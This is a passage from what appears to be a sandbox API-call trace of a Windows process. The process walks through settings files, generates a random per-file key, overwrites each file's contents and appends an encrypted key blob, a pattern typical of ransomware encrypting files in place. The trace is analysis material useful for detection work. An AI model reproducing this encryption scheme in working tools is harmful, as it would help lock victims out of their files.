out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.447] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.447] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.448] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.448] CloseHandle (hObject=0x1c24) returned 1 [0194.449] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.450] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.450] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{EE423D17-7ED8-4B33-9555-C23DEEAFB4B6}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.450] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4a8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4a8, lpOverlapped=0x0) returned 1 [0194.451] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.451] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4a8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4a8, lpOverlapped=0x0) returned 1 [0194.451] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4a8 [0194.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.452] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.452] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.452] CloseHandle (hObject=0x1c24) returned 1 [0194.454] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.454] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.454] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{ed834ed6-4b5a-4bfe-8f11-a626dcb6a921}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.454] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x345, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x345, lpOverlapped=0x0) returned 1 [0194.455] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.455] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x345, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x345, lpOverlapped=0x0) returned 1 [0194.455] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x345 [0194.455] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.456] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.456] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.456] CloseHandle (hObject=0x1c24) returned 1 [0194.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0194.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.458] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{ED0FF627-BFD1-4F68-9A74-974E73F41A3A}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.458] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x42f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42f, lpOverlapped=0x0) returned 1 [0194.465] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.465] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x42f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42f, lpOverlapped=0x0) returned 1 [0194.465] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42f [0194.465] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.465] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.466] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.466] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.466] CloseHandle (hObject=0x1c24) returned 1 [0194.468] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.468] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.468] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{ecdb0924-4208-451e-8ee0-373c0956de16}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.468] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x40d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x40d, lpOverlapped=0x0) returned 1 [0194.474] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1037, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.474] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x40d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40d, lpOverlapped=0x0) returned 1 [0194.475] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40d [0194.475] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.475] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.475] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.476] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.476] CloseHandle (hObject=0x1c24) returned 1 [0194.479] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.480] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.480] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{EBEC2956-F512-474D-8631-9E753CC40653}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.480] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4ec, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ec, lpOverlapped=0x0) returned 1 [0194.485] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.485] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4ec, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ec, lpOverlapped=0x0) returned 1 [0194.486] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ec [0194.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.486] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.486] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.487] CloseHandle (hObject=0x1c24) returned 1 [0194.488] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.488] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.488] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{E9C71548-B580-43B2-ACDB-1BA924002754}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.489] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x39b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x39b, lpOverlapped=0x0) returned 1 [0194.490] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.490] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x39b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x39b, lpOverlapped=0x0) returned 1 [0194.490] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x39b [0194.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.491] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.491] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.491] CloseHandle (hObject=0x1c24) returned 1 [0194.493] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.493] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.493] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{e9950154-c418-419e-a90a-20c5287ae24b}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.493] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x435, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x435, lpOverlapped=0x0) returned 1 [0194.494] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1077, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.494] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x435, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x435, lpOverlapped=0x0) returned 1 [0194.495] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x435 [0194.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.495] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.495] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.495] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.495] CloseHandle (hObject=0x1c24) returned 1 [0194.498] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.498] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.498] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{E4B554C8-B067-4540-A478-0565BB1F76B9}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.499] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x390, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x390, lpOverlapped=0x0) returned 1 [0194.500] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.500] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x390, lpOverlapped=0x0) returned 1 [0194.500] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x390 [0194.500] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.500] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.500] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.501] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.501] CloseHandle (hObject=0x1c24) returned 1 [0194.502] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.502] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.503] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{e2e7934b-dce5-43c4-9576-7fe4f75e7480}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.503] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x344, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x344, lpOverlapped=0x0) returned 1 [0194.505] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-836, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.505] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x344, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x344, lpOverlapped=0x0) returned 1 [0194.506] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x344 [0194.506] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.506] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.506] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.507] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.507] CloseHandle (hObject=0x1c24) returned 1 [0194.508] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.508] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.508] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{E2394C16-F45A-496F-83CC-49E163281662}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.509] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3a9, lpOverlapped=0x0) returned 1 [0194.513] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-937, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.513] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3a9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3a9, lpOverlapped=0x0) returned 1 [0194.513] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3a9 [0194.513] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.513] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.514] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.514] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.514] CloseHandle (hObject=0x1c24) returned 1 [0194.518] CryptGenRandom (in: hProv=0x55a150, 